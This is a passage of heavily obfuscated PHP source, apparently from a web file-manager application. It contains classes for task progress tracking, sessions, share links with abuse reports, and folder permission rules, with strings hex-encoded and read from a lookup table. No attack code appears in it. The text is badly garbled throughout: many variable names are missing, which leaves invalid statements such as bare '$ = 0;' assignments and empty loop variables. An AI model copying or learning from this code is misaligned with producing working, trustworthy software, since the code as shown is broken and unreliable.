== $ܖ) { $ = 0; } $this->update($); } else { $this->update(); $[$Χ[1808]] = 0; } Cache::remove($[$Χ[459]] . $Χ[1821]); self::log($Χ[1824] . $ܖ . $Χ[73] . $¤ . $Χ[253] . $È . $Χ[1825] . $[$Χ[1805]]); } public function updateFileEnd($, $Ǚە) { $ =& $_SERVER[ϋ]; $ =& $this->task; $[$[1805]] = $; $[$[1807]] = $Ǚە; $[$[1811]] += $Ǚە; $[$[1812]] = $[$[1811]]; $this->update(1); self::log($[1826] . $); } public function sourceModelCopy($) { $ =& $_SERVER[ϋ]; $ݾ = $[0]; $߶ = $[1]; $ =& $this->task; $this->sourceModelCopyFlag = !0; $ƴ = 0; switch ($ݾ) { case $[619]: $ƴ = 1; break; case $[622]: $[$[1805]] = $߶[$[32]]; break; case $[624]: $ƴ = intval($[$[440]] * 0.4); break; case $[626]: $ƴ = intval($[$[440]] * 0.2); break; case $[628]: $ƴ = intval($[$[440]] * 0.4); break; } $this->update($ƴ); $this->sourceModelCopyFlag = !1; } public function sourceRemove($悦, $) { $ɾ =& $_SERVER[ϋ]; $this->sourceModelCopyFlag = !0; $۸ = 1; if (isset($悦[$ɾ[82]])) { $۸ = $悦[$ɾ[82]][$ɾ[80]]; $۸ = $۸ + $悦[$ɾ[82]][$ɾ[81]] + 1; } $this->update($۸); $this->sourceModelCopyFlag = !1; } public function sourceMove($ɮ) { $this->sourceRemove($ɮ, !1); } public function curlProgress($, $쨴, $Ѫ, $, $) { $Ӵ =& $_SERVER[ϋ]; $ =& $this->task; if ($ > 0) { $[$Ӵ[1114]] = $Ӵ[1827]; $[$Ӵ[1809]] = $Ӵ[110]; if ($[$Ӵ[1807]]) { $[$Ӵ[1808]] = $; } if ($[$Ӵ[1810]]) { $[$Ӵ[1808]] = $ + $[$Ӵ[1810]]; } } else { if ($Ѫ > 0) { if ($[$Ӵ[1807]] == $쨴) { $[$Ӵ[1808]] = $Ѫ; $[$Ӵ[1114]] = $Ӵ[1828]; $[$Ӵ[1809]] = $Ӵ[1247]; } } } $this->update(); } public function curlProgressStart($) { } public function curlProgressEnd($Խ) { $ =& $_SERVER[ϋ]; $޴ɑ =& $this->task; $ = curl_getinfo($Խ); $Ю = $[$[1829]]; if ($Ю == -1) { $Ю = $[$[1830]]; } if ($޴ɑ[$[1809]] == $[110] && $Ю) { $޴ɑ[$[1810]] += $Ю; } $this->update(); } } class TaskHttp extends Task { protected function startAfter() { $ =& $_SERVER[ϋ]; $ϳ =& $this->task; $ϳ[$[1831]] = 1; Hook::bind($[1799], array($this, $[1832])); Hook::bind($[1801], array($this, $[1833])); Hook::bind($[1803], array($this, $[1834])); } protected function endAfter() { $ȷǒ =& $_SERVER[ϋ]; Hook::unbind($ȷǒ[1799], array($this, $ȷǒ[1832])); Hook::unbind($ȷǒ[1801], array($this, $ȷǒ[1833])); Hook::unbind($ȷǒ[1803], array($this, $ȷǒ[1834])); } public function progressStart($泄) { $ؚ =& $_SERVER[ϋ]; $ˇ = curl_getinfo($泄); self::log($ؚ[1835] . $ˇ[$ؚ[358]]); self::valueSet($this->task[$ؚ[459]], $this->task); } public function progressEnd($ͺ) { $؆ =& $_SERVER[ϋ]; self::log($؆[1836] . $this->task[$؆[459]]); $this->end(); } public function progress($̚, $, $, $Ȑ, $) { $؛ =& $_SERVER[ϋ]; $Ɖ =& $this->task; if ($ > 0) { $Ɖ[$؛[1112]] = $Ɖ[$؛[1112]] == 0 ? $Ȑ : $Ɖ[$؛[1112]]; $Ɖ[$؛[1755]] = $; } else { if ($ > 0) { $Ɖ[$؛[1112]] = $Ɖ[$؛[1112]] == 0 ? $ : $Ɖ[$؛[1112]]; $Ɖ[$؛[1755]] = $; } } $this->update(); self::log("\x70\x72\x6f\147\x72\x65\163\x73\110\164\164\x70\72\144\157\x77\x6e\72{$}\x2f{$}\73\x20\165\160\154\157\141\144\72{$}\57{$Ȑ}\x3b"); } } goto B; Cș: class SessionModel extends ModelBase { protected $tableName = "\163\171\x73\164\x65\x6d\x5f\x73\145\x73\163\x69\157\156"; public function get($) { $ =& $_SERVER[ϋ]; $ɫ = $this->where(array($[2092] => $))->find(); if (!is_array($ɫ)) { return !1; } return $ɫ[$[806]]; } public function set($, $, $ɂ = 3600) { $طա =& $_SERVER[ϋ]; $ = array($طա[2092] => $, $طա[1991] => $, $طա[2093] => $ɂ + time()); if (Session::get($طա[2094])) { $[$طա[1754]] = Session::get($طա[2094]); } else { $[$طա[1754]] = 0; } if ($this->get($)) { return $this->where(array($طա[2092] => $))->save($); } else { return $this->add($, array(), !0); } } public function remove($͹) { return $this->where(array($_SERVER[ϋ][2092] => $͹))->delete(); } public function clearTimeout() { return $this->where($_SERVER[ϋ][2095] . time())->delete(); } } class ShareModel extends ModelBase { protected $tableName = "\x73\x68\x61\x72\145"; protected $dataAuto = array(array("\x6d\x6f\144\151\x66\171\124\151\x6d\x65", "\x74\x69\155\145", "\151\x6e\163\x65\x72\x74\x2c\x75\x70\x64\x61\x74\145", "\x66\165\156\x63\164\x69\157\x6e"), array("\x63\x72\x65\x61\164\x65\124\x69\155\x65", "\164\151\x6d\x65", "\151\x6e\x73\145\x72\x74", "\x66\x75\x6e\143\164\x69\x6f\x6e"), array("\157\x70\x74\x69\157\156\x73", '', "\x69\156\163\x65\x72\164\x2c\x75\x70\144\141\x74\145\54\x73\145\x6c\145\143\x74", "\152\x73\x6f\x6e")); private $fieldList = "\x2a"; protected function cacheFunctionAlias($ۮɇ) { $Х =& $_SERVER[ϋ]; $垽 = isset($ۮɇ[0]) ? $ۮɇ[0] : !1; return array($Х[2096] => array(USER_ID, $Х[2097]), $Х[2037] => array($垽, $Х[2098])); } protected function listSimple() { $ħ = array($_SERVER[ϋ][1754] => USER_ID); $÷ѿ = $this->field($this->fieldList)->where($ħ)->select(); return $÷ѿ ? $÷ѿ : array(); } protected function getInfo($, $茿 = false) { $Éо =& $_SERVER[ϋ]; if ($茿) { return $this->_getShareInfo(array($Éо[649] => $)); } $ = $this->cacheFunctionGet($Éо[2039], $); return $; } public function getInfoByHash($) { return $this->_getShareInfo(array($_SERVER[ϋ][2099] => $)); } public function getInfoByPath($) { $ =& $_SERVER[ϋ]; $ֈی = array($[1754] => USER_ID, $[184] => $); return $this->_getShareInfo($ֈی); } public function getInfoBySourcePath($ɣ삦) { $ƷՂ =& $_SERVER[ϋ]; $Ŵ = array($ƷՂ[1754] => USER_ID, $ƷՂ[1228] => $ɣ삦); return $this->_getShareInfo($Ŵ); } private function _getShareInfo($ؗ) { $ =& $_SERVER[ϋ]; $ד = $this->where($ؗ)->find(); if (!$ד) { return !1; } $ؗ = array($[649] => $ד[$[649]]); $ = $[2100]; $Ғ = Model($[650])->order($[459])->field($)->where($ؗ)->select(); if ($ד[$[184]] == $[219]) { $ד[$[90]] = IO::info($ד[$[1228]]); } else { $ד[$[90]] = Model($[1388])->pathInfo($ד[$[184]]); } $ד[$[2101]] = $Ғ; return $ד; } protected function getInfoAuth($) { $ =& $_SERVER[ϋ]; $Ǽ = $this->getInfo($); if ($Ǽ[$[1754]] == USER_ID) { $Ǽ[$[471]] = $Ǽ[$[90]][$[471]]; } else { $Ǽ[$[471]] = Model($[552])->authMake($Ǽ[$[2101]]); } return $Ǽ; } protected function listData($ = null, $ґ = 300) { $ =& $_SERVER[ϋ]; $œӫ = array(array($[547] => array($[1061], 0), $[647] => array($[1061], 0), $[2102] => $[2055])); if ($ == $[2103]) { $œӫ = array($[547] => 1); } else { if ($ == $[1213]) { $œӫ = array($[647] => 1); } } $œӫ[$[1754]] = USER_ID; $ĵ = $this->where($œӫ)->selectPage($ґ); return $ĵ; } protected function listToMe($ = 300) { $ =& $_SERVER[ϋ]; $ = Model($[2104])->userGroupParents(USER_ID); $ = array($[632] => SourceModel::TYPE_USER, $[554] => USER_ID); if ($) { $ = array(array($[632] => SourceModel::TYPE_USER, $[554] => USER_ID), array($[632] => SourceModel::TYPE_GROUP, $[554] => array($[7], $)), $[2102] => $[2055]); } $ = Model($[650])->where($)->selectPage($); $龇 = array_to_keyvalue_group($[$[429]], $[649]); if (!$龇) { return $; } $ = $[2105]; $ = array($[649] => array($[476], array_keys($龇)), $[1754] => array($[1063], $[219])); $Ɇȃ = $this->field($)->where($)->select(); foreach ($Ɇȃ as $Ưℿ => &$) { $[$[2101]] = $龇[$[$[649]]]; } unset($); $ = array($[2106] => $Ɇȃ, $[2107] => $[$[426]]); return $; } protected function shareAdd($ƲΦ, $«ɒ) { $ٖ =& $_SERVER[ϋ]; $Л = $this->_addShareData($ƲΦ, $«ɒ); if (!empty($«ɒ[$ٖ[2108]])) { $this->_shareAuthSet($Л, $«ɒ[$ٖ[2108]]); } $this->shareEventAdd($ƲΦ, $«ɒ, $ٖ[2109]); return $Л; } protected function shareAddSystem($ڛ, $٥) { $Ϳ =& $_SERVER[ϋ]; $ = $this->_addShareData($ڛ, $٥, $Ϳ[182]); $this->_shareAuthSet($, $٥[$Ϳ[2108]]); return $; } private function shareEventAdd($, $ƴ, $ = "\141\x64\144") { $ =& $_SERVER[ϋ]; if (!$ || $ == $[219]) { return; } if ($ == $[2109]) { if ($ƴ[$[547]] == $[91]) { Model($[617])->eventShare($, $[2110]); } if ($ƴ[$[647]] == $[91]) { Model($[617])->eventShare($, $[2111]); } return; } $™ܵ = $this->getInfoByPath($); $ = $[2112]; if ($™ܵ[$[547]] == $[219] && $ƴ[$[547]] == $[91]) { $ = $[2110]; } if ($™ܵ[$[547]] == $[91] && $ƴ[$[547]] == $[219]) { $ = $[2113]; } if ($™ܵ[$[647]] == $[219] && $ƴ[$[647]] == $[91]) { $ = $[2111]; } if ($™ܵ[$[647]] == $[91] && $ƴ[$[647]] == $[219]) { $ = $[2114]; } Model($[617])->eventShare($, $); return; } private function _addShareData($¼, $ = array(), $ʡ = false) { $芳 =& $_SERVER[ϋ]; $Ð˦ = $ʡ == $芳[182] ? 0 : USER_ID; $ߟ = array($芳[475] => $¼, $芳[1745] => $Ð˦); if ($¼ == 0) { $ߟ = array($芳[2115] => $[$芳[1228]], $芳[1745] => $Ð˦); } if ($ = $this->where($ߟ)->find()) { return $[$芳[649]]; } if ($¼ == 0) { $ = array($芳[32] => get_path_this($[$芳[87]])); } else { $ = Model($芳[876])->sourceInfo($¼); if (!$) { return !1; } } if (!$[$芳[1643]]) { $[$芳[1643]] = $[$芳[32]]; } $ƺ = array($芳[1745] => $Ð˦, $芳[475] => $¼, $芳[1643] => $芳[12], $芳[547] => 0, $芳[647] => 0, $芳[1228] => $芳[12], $芳[358] => $芳[12], $芳[938] => $芳[12], $芳[2116] => 0, $芳[2117] => 0, $芳[813] => 0, $芳[2118] => $芳[12], $芳[2099] => $芳[12]); $ = explode($芳[50], $芳[2119]); foreach ($ as $) { if (!isset($[$])) { continue; } $ƺ[$] = $[$]; } $ = $this->add($ƺ); $૜ = array($芳[2099] => short_id($)); $this->where(array($芳[2120] => $))->save($૜); return $; } private function _shareAuthSet($Ѣ, $͙) { $ȟ =& $_SERVER[ϋ]; if (!is_array($͙)) { return !1; } $ڎ = Model($ȟ[2065]); $ڎ->where(array($ȟ[649] => $Ѣ))->delete(); $ = array(); foreach ($͙ as $Ⅰݠ) { $ = SourceModel::TYPE_USER; if ($Ⅰݠ[$ȟ[181]] == SourceModel::TYPE_GROUP) { $ = SourceModel::TYPE_GROUP; } $Ԏ = array($ȟ[649] => $Ѣ, $ȟ[181] => $, $ȟ[554] => intval($Ⅰݠ[$ȟ[554]]), $ȟ[2061] => 0, $ȟ[2121] => -1); if ($Ⅰݠ[$ȟ[2061]]) { $Ԏ[$ȟ[2061]] = $Ⅰݠ[$ȟ[2061]]; } else { if ($Ⅰݠ[$ȟ[2121]]) { $Ԏ[$ȟ[2121]] = $Ⅰݠ[$ȟ[2121]]; } } $[] = $Ԏ; } return $ڎ->addAll($, array(), !0); } public function numViewAdd($Ѡ) { $ =& $_SERVER[ϋ]; $Ӄ = array($[2120] => $Ѡ); $this->where($Ӄ)->setAdd($[2116]); } public function numDownloadAdd($ʦ) { $ =& $_SERVER[ϋ]; $Й = array($[2120] => $ʦ); $this->where($Й)->setAdd($[2117]); } protected function shareEdit($, $Ո) { $ѳԠ =& $_SERVER[ϋ]; $䐴 = $this->getInfo($); if (!$䐴) { return !1; } $this->_checkLinkShare($Ո, $䐴); $͟ = array(); $ = explode($ѳԠ[50], $ѳԠ[2122]); foreach ($ as $ߗ) { if (!array_key_exists($ߗ, $Ո)) { continue; } $͟[$ߗ] = $Ո[$ߗ]; } $this->shareEventAdd($䐴[$ѳԠ[184]], $Ո, $ѳԠ[1922]); $this->where(array($ѳԠ[2120] => $))->save($͟); if (isset($Ո[$ѳԠ[2108]])) { $this->_shareAuthSet($, $Ո[$ѳԠ[2108]]); } return !0; } private function _checkLinkShare($, $ޜ) { $ =& $_SERVER[ϋ]; if ($[$[547]] != $[91]) { return; } $ۈ = $ޜ[$[90]][$[184]]; if ($ޜ[$[90]][$[33]] != $[221]) { $ = $this->_folderReport($ۈ); if (!$) { return; } show_json(LNG($[2123]) . $[2124] . $, !1); } $ӭ = Model($[876])->fileInfoGet($ޜ[$[90]][$[184]]); if (!$ӭ) { return; } $ɔǚ = $this->shareFileMeta($ӭ[$[525]]); if (isset($ɔǚ[$[434]]) && $ɔǚ[$[434]] == $[91]) { show_json(LNG($[2125]), !1); } } private function _folderReport($‰) { $ =& $_SERVER[ϋ]; $ = array($[525] => array($[1061], 0), $[802] => 3); $ = Model($[2126])->where($)->field($[525])->select(); if (!$) { return !1; } $ = array_to_keyvalue($, $[12], $[525]); $܍ = $[50] . $‰ . $[50]; $ = array($[525] => array($[7], $), $[569] => array($[443], "\45{$܍}\45"), $[489] => 0); $ = Model($[876])->where($)->field($[2127])->find(); if (!$) { return !1; } $ʳ = substr($[$[569]], strpos($[$[569]], $܍)); $ = array($[184] => array($[7], trim($ʳ, $[50]))); $ = Model($[876])->where($)->field($[32])->select(); $Ⱦ = array_to_keyvalue($, $[12], $[32]); $Ⱦ[] = $[$[32]]; return implode($[8], $Ⱦ); } protected function remove($) { $洀 =& $_SERVER[ϋ]; if (is_array($)) { $ = array($洀[7], $); } $ם = array($洀[649] => $); $뢢 = $this->where($ם)->delete(); if ($뢢) { Model($洀[650])->where(array($洀[649] => $))->delete(); } $ = is_array($) ? $[1] : array($); for ($ = 0; $ < count($); $++) { $㩣 = $this->getInfo($[$]); if ($㩣[$洀[647]] == $洀[91]) { Model($洀[617])->eventShare($㩣[$洀[184]], $洀[2114]); } if ($㩣[$洀[547]] == $洀[91]) { Model($洀[617])->eventShare($㩣[$洀[184]], $洀[2113]); } } return $뢢; } protected function removeBySource($) { $ =& $_SERVER[ϋ]; $ޣ = array($[475] => array($[476], $)); $ݤ = $this->field($[649])->where($ޣ)->select(); $ݤ = array_to_keyvalue($ݤ, $[12], $[649]); if (!$ݤ) { return; } $ޣ = array($[2120] => array($[476], $ݤ)); $this->where($ޣ)->delete(); Model($[650])->where($ޣ)->delete(); } public function listAll($) { $ =& $_SERVER[ϋ]; $޴ = array(); if ($[$[1754]]) { $޴[$[1754]] = $[$[1754]]; } if ($[$[812]]) { $ = $[$[813]] ? $[$[813]] : strtotime(date($[2128])); $޴[$[222]] = array($[384], array($[$[812]], $)); } if ($[$[33]]) { $޴[$[$[33]]] = 1; } else { $޴[] = array($[547] => array($[1061], 0), $[647] => array($[1061], 0), $[2102] => $[2055]); } if ($[$[2051]]) { $޴[] = array($[2099] => $[$[2051]], $[1643] => array($[443], "\x25{$[$[2051]]}\45"), $[2102] => $[2055]); } $ͫɷĵ = $this->_makeOrder()->where($޴)->selectPage(20); if (empty($ͫɷĵ[$[429]])) { return array(); } $this->_listDataApply($ͫɷĵ[$[429]]); return $ͫɷĵ; } public function listDataApply($ǒ) { $this->_listDataApply($ǒ); return $ǒ; } private function _listDataApply(&$) { $쨋 =& $_SERVER[ϋ]; $§ = array_to_keyvalue($, $쨋[12], $쨋[1754]); $ = Model($쨋[583])->userListInfo(array_unique($§)); $¸Ӳ = array_to_keyvalue($, $쨋[12], $쨋[184]); $ = Model($쨋[876])->sourceListInfo($¸Ӳ, !0); foreach ($ as $ => &$) { $ = $[$쨋[1754]]; $[$쨋[2129]] = $[$] ? $[$] : !1; $ͦ = $[$쨋[184]]; $[$쨋[90]] = $[$ͦ] ? $[$ͦ] : !1; if ($[$쨋[90]][$쨋[489]] == $쨋[91]) { unset($[$]); } if ($[$쨋[90]] != $쨋[219] && !$[$쨋[90]]) { unset($[$]); } } unset($); $ = array_values($); } private function _makeOrder($ = '') { $îܩ =& $_SERVER[ϋ]; $ᘣ = array($îܩ[222], $îܩ[813], $îܩ[2116], $îܩ[2117]); $՘ǃ = array($îܩ[507] => $îܩ[508], $îܩ[509] => $îܩ[510]); $񂱘 = Input::get($îܩ[514], $îܩ[7], $îܩ[481], $ᘣ); $֒ = Input::get($îܩ[515], $îܩ[7], $îܩ[2130], array($îܩ[2048], $îܩ[509])); $֒ = $՘ǃ[$֒]; $ = $ . "{$񂱘}\40{$֒}"; return $this->order($); } public function reportAdd($Ξ) { $ =& $_SERVER[ϋ]; $ = array($[649] => $Ξ[$[649]], $[1754] => USER_ID); if (Model($[2126])->where($)->find()) { return !1; } $ = array($[649] => $Ξ[$[649]], $[1643] => $Ξ[$[1643]], $[184] => $Ξ[$[184]], $[525] => $Ξ[$[525]], $[1754] => USER_ID, $[33] => $Ξ[$[33]], $[510] => $Ξ[$[510]]); return Model($[2126])->add($); } public function reportList($) { $Ѐ =& $_SERVER[ϋ]; $Ԑ = array(); if ($[$Ѐ[812]]) { $軦 = $[$Ѐ[813]] ? $[$Ѐ[813]] : strtotime(date($Ѐ[2128])); $Ԑ[$Ѐ[222]] = array($Ѐ[384], array($[$Ѐ[812]], $軦)); } if (isset($[$Ѐ[33]]) && in_array($[$Ѐ[33]], array($Ѐ[91], $Ѐ[494], $Ѐ[2131], $Ѐ[2132], $Ѐ[2133]))) { $Ԑ[$Ѐ[33]] = $[$Ѐ[33]]; } if (isset($[$Ѐ[802]]) && in_array($[$Ѐ[802]], array($Ѐ[219], $Ѐ[91], $Ѐ[494], $Ѐ[2131]))) { $Ԑ[$Ѐ[802]] = $[$Ѐ[802]]; } $󨟓 = Input::get($Ѐ[515], $Ѐ[7], $Ѐ[2130], array($Ѐ[2048], $Ѐ[509])); $ۨǒ = array($Ѐ[507] => $Ѐ[508], $Ѐ[509] => $Ѐ[510]); $ܾ = $Ѐ[2134] . $ۨǒ[$󨟓]; $ڜ = Model($Ѐ[2126])->where($Ԑ)->order($ܾ)->selectPage(20); if (empty($ڜ[$Ѐ[429]])) { return array(); } $ϸ = array_to_keyvalue_group($ڜ[$Ѐ[429]], $Ѐ[802], $Ѐ[649]); if (!empty($ϸ[0])) { $ = $ϸ[0]; $Ԑ = array($Ѐ[649] => array($Ѐ[7], $)); $ޫ = $this->where($Ԑ)->field($Ѐ[649])->select(); $ޫ = array_to_keyvalue($ޫ, $Ѐ[12], $Ѐ[649]); $Ώ = array_diff($, $ޫ); if (!empty($Ώ)) { foreach ($ڜ[$Ѐ[429]] as $ => $) { if (in_array($[$Ѐ[649]], $Ώ)) { unset($ڜ[$Ѐ[429]][$]); } } } } $this->_listDataApply($ڜ[$Ѐ[429]]); return $ڜ; } public function reportStatus($ރɲ) { $񝍳 =& $_SERVER[ϋ]; $ = array($񝍳[459] => $ރɲ[$񝍳[459]]); $Ϻͪ = Model($񝍳[2126])->where($)->field($񝍳[2135])->find(); if (!$Ϻͪ) { return !1; } $Ք = array($񝍳[802] => $ރɲ[$񝍳[802]]); if ($ރɲ[$񝍳[802]] == $񝍳[2131] && $Ϻͪ[$񝍳[802]] == $񝍳[2131]) { $Ք[$񝍳[802]] = 0; } $Α = Model($񝍳[2126])->where($)->save($Ք); if ($ރɲ[$񝍳[802]] == $񝍳[494]) { if ($Ϻͪ[$񝍳[525]] != $񝍳[219] && $this->shareFileMeta($Ϻͪ[$񝍳[525]])) { $this->shareFileMeta($Ϻͪ[$񝍳[525]], 0); } $this->remove($Ϻͪ[$񝍳[649]]); return !0; } if ($Α && $ރɲ[$񝍳[802]] == $񝍳[2131]) { $й럇 = $Ք[$񝍳[802]] == $񝍳[2131] ? 1 : 0; $this->shareFileMeta($Ϻͪ[$񝍳[525]], $й럇); $this->removeByFile($Ϻͪ[$񝍳[525]]); } return $Α; } private function removeByFile($Ț) { $ =& $_SERVER[ϋ]; $ɝ = Model($[876])->where(array($[525] => $Ț))->field($[184])->select(); $٢ = array_to_keyvalue($ɝ, $[12], $[184]); $ۆ = array($[184] => array($[7], $٢), $[547] => 1); $ɝ = $this->where($ۆ)->field($[649])->select(); if (empty($ɝ)) { return; } $ɰ݈ = array_to_keyvalue($ɝ, $[12], $[649]); $this->remove($ɰ݈); } private function shareFileMeta($瀟, $òΫ = null) { $폏˷ =& $_SERVER[ϋ]; $܅ = array($폏˷[525] => $瀟, $폏˷[97] => $폏˷[2136]); if (is_null($òΫ)) { return Model($폏˷[2137])->where($܅)->find(); } $܅[$폏˷[434]] = $òΫ; Model($폏˷[2137])->add($܅, array(), !0); } } class SourceAuthModel extends ModelBase { protected $tableName = "\151\157\137\163\x6f\x75\x72\143\x65\137\141\x75\164\x68"; public function getAuth($) { $Î =& $_SERVER[ϋ]; $ = $this->sourceAuthSelect($); $ = array(); $ = array(); $ې = 2 << 25; foreach ($ as $) { $ = Model($Î[556])->listData($[$Î[2061]]); if (!$) { continue; } $[] = $; $ź = 0; if ($[$Î[181]] == SourceModel::TYPE_GROUP) { $ź = $ې * 2; } if ($[$Î[181]] == SourceModel::TYPE_USER) { $ź = $ې; } if ($[$Î[181]] == SourceModel::TYPE_USER && $[$Î[554]] == $Î[219]) { $ź = 0; } $[] = $[$Î[471]] + $ź; } array_multisort($, SORT_DESC, $); return $; } public function sourceAuthSelect($) { $Ϟӫ =& $_SERVER[ϋ]; static $ݰ = array(); $ = is_array($) ? !1 : !0; if ($) { $ = array($); } $ = array(); foreach ($ as $Ȗ) { if (isset($ݰ[$Ȗ])) { $[$Ȗ] = $ݰ[$Ȗ]; } } if (count($) == count($)) { return $ ? $[$[0]] : $; } $ = $Ϟӫ[2138]; $鿠 = array($Ϟӫ[184] => array($Ϟӫ[7], $)); $՜ = $this->field($)->order($Ϟӫ[459])->where($鿠)->select(); $ݨ = array_to_keyvalue_group($՜, $Ϟӫ[184]); foreach ($ as $Ȗ) { $ݰ[$Ȗ] = $ݨ[$Ȗ] ? $ݨ[$Ȗ] : array(); } if ($) { return $՜; } return $ݨ; } public function setAuth($Ι, $) { $Ɖה =& $_SERVER[ϋ]; $恛 = Model($Ɖה[1388])->sourceInfo($Ι); if (!$恛) { return !1; } if ($恛[$Ɖה[181]] != SourceModel::TYPE_GROUP) { return !1; } $ = 1; $ = $恛[$Ɖה[554]]; if ($ != $) { $ȳ̲ = array($Ɖה[1952] => $); $ҝ = Model($Ɖה[2047])->field($Ɖה[1754])->where($ȳ̲)->select(); $ҝ = array_to_keyvalue($ҝ, $Ɖה[12], $Ɖה[1754]); } $ = array(SourceModel::TYPE_GROUP, SourceModel::TYPE_USER); $ = array(); foreach ($ as $) { if (!in_array($[$Ɖה[181]], $)) { show_json(LNG($Ɖה[2139]), !1); } if ($ != $) { if ($[$Ɖה[181]] == SourceModel::TYPE_GROUP) { } if ($[$Ɖה[554]] != 0 && !in_array($[$Ɖה[554]], $ҝ)) { } } if ($[$Ɖה[554]] == 0) { $[$Ɖה[181]] = SourceModel::TYPE_USER; } $[] = array($Ɖה[184] => $Ι, $Ɖה[181] => intval($[$Ɖה[181]]), $Ɖה[554] => intval($[$Ɖה[554]]), $Ɖה[2061] => intval($[$Ɖה[2061]]) ? intval($[$Ɖה[2061]]) : 0, $Ɖה[2121] => intval($[$Ɖה[2121]]) ? intval($[$Ɖה[2121]]) : -1); } $this->where(array($Ɖה[475] => $Ι))->delete(); $this->addAll($); return !0; } public function authClear($ѻ) { $ =& $_SERVER[ϋ]; $ = Model($[1388])->sourceInfo($ѻ); $чť = array($ѻ); if ($[$[469]] == $[91]) { $ɖ = array($[636] => array($[596], $[$[569]] . $ѻ . $[597])); $чť = Model($[1388])->field($[475])->where($ɖ)->getField($[184], !0); $чť[] = $ѻ; } $this->where(array($[475] => array($[476], $чť)))->delete(); return !0; } public function getAllChildren($ʗ) { $ĝ =& $_SERVER[ϋ]; $ץ = Model($ĝ[1388])->sourceInfo($ʗ); if ($ץ[$ĝ[469]] != $ĝ[91]) { return $this->sourceListAuth(array($ʗ)); } if ($ץ[$ĝ[181]] != SourceModel::TYPE_GROUP) { return array(); } $ = 1; $ = array($ʗ); if ($ץ[$ĝ[183]] == $ĝ[219] && $ץ[$ĝ[554]] != $) { $ = $this->groupChidldAllRootSource($ץ[$ĝ[554]]); } $ = $this->field($ĝ[184])->group($ĝ[184])->select(); $ = array_to_keyvalue($, $ĝ[12], $ĝ[184]); if (!$) { return array(); } $ = $ĝ[2140]; $ї = array($ĝ[184] => array($ĝ[7], $), $ĝ[489] => $ĝ[219]); $ = Model($ĝ[876])->field($)->where($ї)->select(); $ꠃ = array($ʗ); foreach ($ as $) { foreach ($ as $䪮) { $讈 = $ĝ[50] . $䪮 . $ĝ[50]; $ = $[$ĝ[569]] . $[$ĝ[184]] . $ĝ[50]; if (strstr($, $讈)) { $ꠃ[] = $[$ĝ[184]]; break; } } } return $this->sourceListAuth($ꠃ); } private function sourceListAuth($) { $셅 =& $_SERVER[ϋ]; $ɐ׈ = Model($셅[1388])->sourceListInfo($, !0); $Ÿ = $this->sourceAuthSelect($); $ޥ = array(); $ = array(); foreach ($ɐ׈ as $) { unset($[$셅[513]]); unset($[$셅[511]]); unset($[$셅[471]]); unset($[$셅[90]]); $۬ = $Ÿ[$[$셅[184]]]; if (!$۬) { continue; } $[$셅[2141]] = $this->authTargetInfo($۬); $[$셅[567]] = rtrim($[$셅[573]], $셅[8]) . $셅[8] . ltrim($[$셅[567]], $셅[8]); $ޥ[] = $; $ߒҜ = count(explode($셅[8], trim($[$셅[567]], $셅[8]))); $[] = $ߒҜ + ($[$셅[33]] == $셅[78] ? 0 : 1000); } array_multisort($, SORT_ASC, $ޥ); return $ޥ; } private function groupChidldAllRootSource($ן) { $ =& $_SERVER[ϋ]; $͐ = Model($[2142])->groupChildrenAll($ן); $ƍ = array($[183] => 0, $[554] => array($[7], $͐), $[181] => SourceModel::TYPE_GROUP); $勚 = Model($[876])->field($[184])->where($ƍ)->select(); $勚 = array_to_keyvalue($勚, $[12], $[184]); return $勚; } private function authTargetInfo($) { $𛥷 =& $_SERVER[ϋ]; $ż = array(); $ʕ = array(); $ = 2 << 25; foreach ($ as $׋) { $ = Model($𛥷[556])->listData($׋[$𛥷[2061]]); if (!$) { continue; } if ($׋[$𛥷[181]] == SourceModel::TYPE_USER) { $ = Model($𛥷[562])->getInfoSimpleOuter($׋[$𛥷[554]]); if ($[$𛥷[1754]] == $𛥷[1241]) { continue; } if ($[$𛥷[1754]] == $𛥷[219]) { $[$𛥷[32]] = LNG($𛥷[2143]); } } else { $ = Model($𛥷[570])->getInfoSimple($׋[$𛥷[554]]); } if (!$) { continue; } $[$𛥷[524]] = $; $ż[] = $; $ = 0; if ($׋[$𛥷[181]] == SourceModel::TYPE_GROUP) { $ = $ * 2; } if ($׋[$𛥷[181]] == SourceModel::TYPE_USER) { $ = $; } if ($׋[$𛥷[181]] == SourceModel::TYPE_USER && $׋[$𛥷[554]] == $𛥷[219]) { $ = 0; } $ʕ[] = $[$𛥷[471]] + $; } array_multisort($ʕ, SORT_DESC, $ż); return $ż; } public function getAllChildrenByUser($, $˷) { $Ϝ =& $_SERVER[ϋ]; $ļ = Model($Ϝ[583])->getInfo($˷); if (!$˷ || !$ || !$ļ) { return array(); } $ = Model($Ϝ[1388])->sourceInfo($); $ݟ = array(); $ = 1; if ($[$Ϝ[183]] == $Ϝ[219] && $[$Ϝ[554]] != $ && $this->groupContainUser($[$Ϝ[554]], $˷)) { foreach ($ļ[$Ϝ[2144]] as $) { $૝ = Model($Ϝ[570])->getInfo($[$Ϝ[1952]]); $ݧ = Model($Ϝ[583])->getInfoSimpleOuter($˷); $ݧ[$Ϝ[524]] = $[$Ϝ[471]]; if (Model($Ϝ[556])->authCheckAction($[$Ϝ[471]][$Ϝ[471]], $Ϝ[1973])) { continue; } $ؐ = array($Ϝ[32] => $Ϝ[1261] . $૝[$Ϝ[32]], $Ϝ[184] => $૝[$Ϝ[90]][$Ϝ[184]], $Ϝ[87] => KodIO::make($૝[$Ϝ[90]][$Ϝ[184]]), $Ϝ[183] => $Ϝ[219], $Ϝ[181] => $Ϝ[563], $Ϝ[33] => $Ϝ[600], $Ϝ[567] => $૝[$Ϝ[574]], $Ϝ[1952] => $૝[$Ϝ[1952]], $Ϝ[571] => $૝[$Ϝ[183]], $Ϝ[2141] => array($ݧ)); $ݟ[$ؐ[$Ϝ[184]]] = $ؐ; } } $Պ = array(); $ = $this->getAllChildren($); foreach ($ as $) { $Ϛ = !1; foreach ($[$Ϝ[2141]] as $) { if ($[$Ϝ[1754]]) { if ($[$Ϝ[1754]] == $˷) { $Ϛ = !0; break; } } if ($[$Ϝ[1952]]) { if ($this->groupContainUser($[$Ϝ[1952]], $˷)) { $Ϛ = !0; break; } } } if ($Ϛ) { $Պ[] = $; } $ġ = $[$Ϝ[184]]; if (isset($ݟ[$ġ])) { $[$Ϝ[2141]][] = $ݟ[$ġ][0]; $ݟ[$ġ] = !1; } } $ݟ = array_filter(array_values($ݟ)); $Պ = array_merge($ݟ, $Պ); return $Պ; } public function setAllChildrenByUser($, $ټצ, $) { $ =& $_SERVER[ϋ]; $ޅ = $this->getAllChildrenByUser($, $ټצ); 